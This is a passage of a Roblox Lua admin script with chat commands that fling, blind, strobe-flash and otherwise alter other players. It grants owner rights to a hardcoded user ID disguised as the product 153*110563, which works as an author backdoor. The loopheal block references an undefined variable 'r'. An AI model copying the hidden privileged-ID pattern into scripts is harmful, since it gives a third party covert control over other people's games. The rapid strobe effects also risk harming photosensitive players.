  5594. wait(.1)
  5595. game.Lighting.Ambient = Color3.new(0,0,0)
  5596. game.Lighting.FogColor = Color3.new(0,0,0)
  5597. game.Lighting.Brightness = 0
  5598. game.Lighting.TimeOfDay = 0
  5599. until nil]]
  5600. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  5601. end
  5602.  
  5603. if msg:lower():sub(1,5) == "spin " then
  5604. local plrz = GetPlr(plr, msg:lower():sub(6))
  5605. for i, v in pairs(plrz) do
  5606. coroutine.resume(coroutine.create(function()
  5607. if v and v.Character and v.Character:findFirstChild("Torso") then
  5608. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  5609. local torso = v.Character:findFirstChild("Torso")
  5610. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  5611. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  5612. until not bg or bg.Parent ~= torso
  5613. end
  5614. end))
  5615. end
  5616. end
  5617.  
  5618. if msg:lower():sub(1,7) == "unspin " then
  5619. local plrz = GetPlr(plr, msg:lower():sub(8))
  5620. for i, v in pairs(plrz) do
  5621. coroutine.resume(coroutine.create(function()
  5622. if v and v.Character and v.Character:findFirstChild("Torso") then
  5623. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  5624. end
  5625. end))
  5626. end
  5627. end
  5628.  
  5629. if msg:lower():sub(1,4) == "dog " then
  5630. local plrz = GetPlr(plr, msg:lower():sub(5))
  5631. for i, v in pairs(plrz) do
  5632. coroutine.resume(coroutine.create(function()
  5633. if v and v.Character and v.Character:findFirstChild("Torso") then
  5634. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5635. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5636. v.Character.Torso.Transparency = 1
  5637. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5638. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  5639. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  5640. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  5641. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  5642. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  5643. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  5644. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  5645. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  5646. end
  5647. end))
  5648. end
  5649. end
  5650.  
  5651. if msg:lower():sub(1,6) == "undog " then
  5652. local plrz = GetPlr(plr, msg:lower():sub(7))
  5653. for i, v in pairs(plrz) do
  5654. coroutine.resume(coroutine.create(function()
  5655. if v and v.Character and v.Character:findFirstChild("Torso") then
  5656. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5657. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5658. v.Character.Torso.Transparency = 0
  5659. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5660. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5661. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5662. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5663. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5664. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  5665. end
  5666. end))
  5667. end
  5668. end
  5669.  
  5670. if msg:lower():sub(1,8) == "creeper " then
  5671. local plrz = GetPlr(plr, msg:lower():sub(9))
  5672. for i, v in pairs(plrz) do
  5673. coroutine.resume(coroutine.create(function()
  5674. if v and v.Character and v.Character:findFirstChild("Torso") then
  5675. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5676. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5677. v.Character.Torso.Transparency = 0
  5678. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5679. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  5680. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  5681. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  5682. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  5683. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  5684. end
  5685. end))
  5686. end
  5687. end
  5688.  
  5689. if msg:lower():sub(1,10) == "uncreeper " then
  5690. local plrz = GetPlr(plr, msg:lower():sub(11))
  5691. for i, v in pairs(plrz) do
  5692. coroutine.resume(coroutine.create(function()
  5693. if v and v.Character and v.Character:findFirstChild("Torso") then
  5694. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5695. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5696. v.Character.Torso.Transparency = 0
  5697. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5698. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5699. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5700. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5701. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5702. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  5703. end
  5704. end))
  5705. end
  5706. end
  5707.  
  5708. if msg:lower():sub(1,8) == "bighead " then
  5709. local plrz = GetPlr(plr, msg:lower():sub(9))
  5710. for i, v in pairs(plrz) do
  5711. coroutine.resume(coroutine.create(function()
  5712. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  5713. end))
  5714. end
  5715. end
  5716.  
  5717. if msg:lower():sub(1,9) == "minihead " then
  5718. local plrz = GetPlr(plr, msg:lower():sub(10))
  5719. for i, v in pairs(plrz) do
  5720. coroutine.resume(coroutine.create(function()
  5721. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  5722. end))
  5723. end
  5724. end
  5725.  
  5726. if msg:lower():sub(1,6) == "fling " then
  5727. local plrz = GetPlr(plr, msg:lower():sub(7))
  5728. for i, v in pairs(plrz) do
  5729. coroutine.resume(coroutine.create(function()
  5730. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  5731. local xran local zran
  5732. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  5733. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  5734. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  5735. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  5736. end
  5737. end))
  5738. end
  5739. end
  5740.  
  5741. if msg:lower():sub(1,8) == "seizure " then
  5742. local plrz = GetPlr(plr, msg:lower():sub(9))
  5743. for i, v in pairs(plrz) do
  5744. coroutine.resume(coroutine.create(function()
  5745. if v and v.Character then
  5746. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  5747. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  5748. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  5749. end
  5750. end))
  5751. end
  5752. end
  5753.  
  5754. if msg:lower():sub(1,10) == "unseizure " then
  5755. local plrz = GetPlr(plr, msg:lower():sub(11))
  5756. for i, v in pairs(plrz) do
  5757. coroutine.resume(coroutine.create(function()
  5758. if v and v.Character then
  5759. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  5760. wait(.1) v.Character.Humanoid.PlatformStand = false
  5761. end
  5762. end))
  5763. end
  5764. end
  5765.  
  5766. if msg:lower():sub(1,12) == "removelimbs " then
  5767. local plrz = GetPlr(plr, msg:lower():sub(13))
  5768. for i, v in pairs(plrz) do
  5769. coroutine.resume(coroutine.create(function()
  5770. if v and v.Character then
  5771. for a, obj in pairs(v.Character:children()) do
  5772. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  5773. end
  5774. end
  5775. end))
  5776. end
  5777. end
  5778.  
  5779. if msg:lower():sub(1,5) == "name " then
  5780. local chk1 = msg:lower():sub(6):find(" ") + 5
  5781. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5782. for i, v in pairs(plrz) do
  5783. coroutine.resume(coroutine.create(function()
  5784. if v and v.Character and v.Character:findFirstChild("Head") then
  5785. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  5786. local char = v.Character
  5787. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  5788. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  5789. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  5790. char.Head.Transparency = 1
  5791. end
  5792. end))
  5793. end
  5794. end
  5795.  
  5796. if msg:lower():sub(1,7) == "unname " then
  5797. local plrz = GetPlr(plr, msg:lower():sub(8))
  5798. for i, v in pairs(plrz) do
  5799. coroutine.resume(coroutine.create(function()
  5800. if v and v.Character and v.Character:findFirstChild("Head") then
  5801. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  5802. end
  5803. end))
  5804. end
  5805. end
  5806.  
  5807. if msg:lower():sub(1,5) == "char " then
  5808. local chk1 = msg:lower():sub(6):find(" ") + 5
  5809. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  5810. for i, v in pairs(plrz) do
  5811. coroutine.resume(coroutine.create(function()
  5812. if v and v.Character then
  5813. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  5814. v:LoadCharacter()
  5815. end
  5816. end))
  5817. end
  5818. end
  5819.  
  5820. if msg:lower():sub(1,7) == "unchar " then
  5821. local plrz = GetPlr(plr, msg:lower():sub(8))
  5822. for i, v in pairs(plrz) do
  5823. coroutine.resume(coroutine.create(function()
  5824. if v and v.Character then
  5825. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  5826. v:LoadCharacter()
  5827. end
  5828. end))
  5829. end
  5830. end
  5831.  
  5832. if msg:lower():sub(1,7) == "infect " then
  5833. local plrz = GetPlr(plr, msg:lower():sub(8))
  5834. for i, v in pairs(plrz) do
  5835. coroutine.resume(coroutine.create(function()
  5836. if v and v.Character then
  5837. Infect(v.Character)
  5838. end
  5839. end))
  5840. end
  5841. end
  5842.  
  5843. if msg:lower():sub(1,11) == "rainbowify " then
  5844. local plrz = GetPlr(plr, msg:lower():sub(12))
  5845. for i, v in pairs(plrz) do
  5846. coroutine.resume(coroutine.create(function()
  5847. if v and v.Character and v.Character:findFirstChild("Torso") then
  5848. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5849. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5850. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5851. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  5852. cl.Parent = v.Character cl.Disabled = false
  5853. end
  5854. end))
  5855. end
  5856. end
  5857.  
  5858. if msg:lower():sub(1,9) == "flashify " then
  5859. local plrz = GetPlr(plr, msg:lower():sub(10))
  5860. for i, v in pairs(plrz) do
  5861. coroutine.resume(coroutine.create(function()
  5862. if v and v.Character and v.Character:findFirstChild("Torso") then
  5863. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5864. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5865. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5866. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  5867. cl.Parent = v.Character cl.Disabled = false
  5868. end
  5869. end))
  5870. end
  5871. end
  5872.  
  5873. if msg:lower():sub(1,8) == "noobify " then
  5874. local plrz = GetPlr(plr, msg:lower():sub(9))
  5875. for i, v in pairs(plrz) do
  5876. coroutine.resume(coroutine.create(function()
  5877. if v and v.Character then
  5878. Noobify(v.Character)
  5879. end
  5880. end))
  5881. end
  5882. end
  5883.  
  5884. if msg:lower():sub(1,9) == "ghostify " then
  5885. local plrz = GetPlr(plr, msg:lower():sub(10))
  5886. for i, v in pairs(plrz) do
  5887. coroutine.resume(coroutine.create(function()
  5888. if v and v.Character and v.Character:findFirstChild("Torso") then
  5889. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5890. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5891. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5892. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5893. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  5894. if prt.Name:find("Leg") then prt.Transparency = 1 end
  5895. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  5896. end end
  5897. end
  5898. end))
  5899. end
  5900. end
  5901.  
  5902. if msg:lower():sub(1,8) == "goldify " then
  5903. local plrz = GetPlr(plr, msg:lower():sub(9))
  5904. for i, v in pairs(plrz) do
  5905. coroutine.resume(coroutine.create(function()
  5906. if v and v.Character and v.Character:findFirstChild("Torso") then
  5907. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5908. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5909. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5910. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5911. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  5912. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  5913. end end
  5914. end
  5915. end))
  5916. end
  5917. end
  5918.  
  5919. if msg:lower():sub(1,6) == "shiny " then
  5920. local plrz = GetPlr(plr, msg:lower():sub(7))
  5921. for i, v in pairs(plrz) do
  5922. coroutine.resume(coroutine.create(function()
  5923. if v and v.Character and v.Character:findFirstChild("Torso") then
  5924. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  5925. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  5926. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5927. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5928. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  5929. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  5930. end end
  5931. end
  5932. end))
  5933. end
  5934. end
  5935.  
  5936. if msg:lower():sub(1,7) == "normal " then
  5937. local plrz = GetPlr(plr, msg:lower():sub(8))
  5938. for i, v in pairs(plrz) do
  5939. coroutine.resume(coroutine.create(function()
  5940. if v and v.Character and v.Character:findFirstChild("Torso") then
  5941. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  5942. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  5943. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  5944. v.Character.Torso.Transparency = 0
  5945. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  5946. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  5947. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  5948. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  5949. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  5950. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  5951. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  5952. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  5953. if prt.Name == "FAKETORSO" then prt:Destroy() end
  5954. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  5955. end end
  5956. end
  5957. end))
  5958. end
  5959. end
  5960.  
  5961. if msg:lower():sub(1,7) == "trippy " then
  5962. local plrz = GetPlr(plr, msg:lower():sub(8))
  5963. for i, v in pairs(plrz) do
  5964. coroutine.resume(coroutine.create(function()
  5965. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  5966. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5967. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  5968. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5969. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  5970. end
  5971. end))
  5972. end
  5973. end
  5974.  
  5975. if msg:lower():sub(1,9) == "untrippy " then
  5976. local plrz = GetPlr(plr, msg:lower():sub(10))
  5977. for i, v in pairs(plrz) do
  5978. coroutine.resume(coroutine.create(function()
  5979. if v and v:findFirstChild("PlayerGui") then
  5980. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  5981. end
  5982. end))
  5983. end
  5984. end
  5985.  
  5986. if msg:lower():sub(1,7) == "strobe " then
  5987. local plrz = GetPlr(plr, msg:lower():sub(8))
  5988. for i, v in pairs(plrz) do
  5989. coroutine.resume(coroutine.create(function()
  5990. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  5991. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  5992. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  5993. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  5994. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  5995. end
  5996. end))
  5997. end
  5998. end
  5999.  
  6000. if msg:lower():sub(1,9) == "unstrobe " then
  6001. local plrz = GetPlr(plr, msg:lower():sub(10))
  6002. for i, v in pairs(plrz) do
  6003. coroutine.resume(coroutine.create(function()
  6004. if v and v:findFirstChild("PlayerGui") then
  6005. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  6006. end
  6007. end))
  6008. end
  6009. end
  6010.  
  6011. if msg:lower():sub(1,6) == "blind " then
  6012. local plrz = GetPlr(plr, msg:lower():sub(7))
  6013. for i, v in pairs(plrz) do
  6014. coroutine.resume(coroutine.create(function()
  6015. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  6016. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  6017. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  6018. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  6019. end
  6020. end))
  6021. end
  6022. end
  6023.  
  6024. if msg:lower():sub(1,8) == "unblind " then
  6025. local plrz = GetPlr(plr, msg:lower():sub(9))
  6026. for i, v in pairs(plrz) do
  6027. coroutine.resume(coroutine.create(function()
  6028. if v and v:findFirstChild("PlayerGui") then
  6029. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  6030. end
  6031. end))
  6032. end
  6033. end
  6034.  
  6035. if msg:lower():sub(1,7) == "guifix " then
  6036. local plrz = GetPlr(plr, msg:lower():sub(8))
  6037. for i, v in pairs(plrz) do
  6038. coroutine.resume(coroutine.create(function()
  6039. if v and v:findFirstChild("PlayerGui") then
  6040. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  6041. end
  6042. end))
  6043. end
  6044. end
  6045.  
  6046. if msg:lower():sub(1,9) == "loopheal " then
  6047. local plrz = GetPlr(plr, msg:lower():sub(10))
  6048. for i, v in pairs(plrz) do
  6049. if v then
  6050. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  6051. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6052. repeat wait()
  6053. coroutine.resume(coroutine.create(function()
  6054. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  6055. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  6056. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  6057. end
  6058. end))
  6059. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6060. end
  6061. end
  6062. end
  6063.  
  6064. if msg:lower():sub(1,11) == "unloopheal " then
  6065. local plrz = GetPlr(plr, msg:lower():sub(12))
  6066. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  6067. end
  6068.  
  6069. if msg:lower():sub(1,10) == "loopfling " then
  6070. local plrz = GetPlr(plr, msg:lower():sub(11))
  6071. for i, v in pairs(plrz) do
  6072. if v then
  6073. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  6074. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6075. repeat
  6076. coroutine.resume(coroutine.create(function()
  6077. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  6078. local xran local zran
  6079. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  6080. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  6081. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  6082. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  6083. end
  6084. end))
  6085. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6086. end
  6087. end
  6088. end
  6089.  
  6090. if msg:lower():sub(1,12) == "unloopfling " then
  6091. local plrz = GetPlr(plr, msg:lower():sub(13))
  6092. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  6093. end
  6094.  
  6095. end
  6096.  
  6097. -------------------------
  6098. -- True Owner Commands --
  6099. -------------------------
  6100.  
  6101. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  6102.  
  6103. if msg:lower():sub(1,3) == "oa " then
  6104. local plrz = GetPlr(plr, msg:lower():sub(4))
  6105. for i, v in pairs(plrz) do
  6106. coroutine.resume(coroutine.create(function()
  6107. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  6108. end))
  6109. end
  6110. end
  6111.  
  6112. if msg:lower():sub(1,5) == "unoa " then
  6113. for i = 1, #owners do
  6114. coroutine.resume(coroutine.create(function()
  6115. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  6116. end))
  6117. end
  6118. end
  6119.  
  6120. if msg:lower() == "settings" then
  6121. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
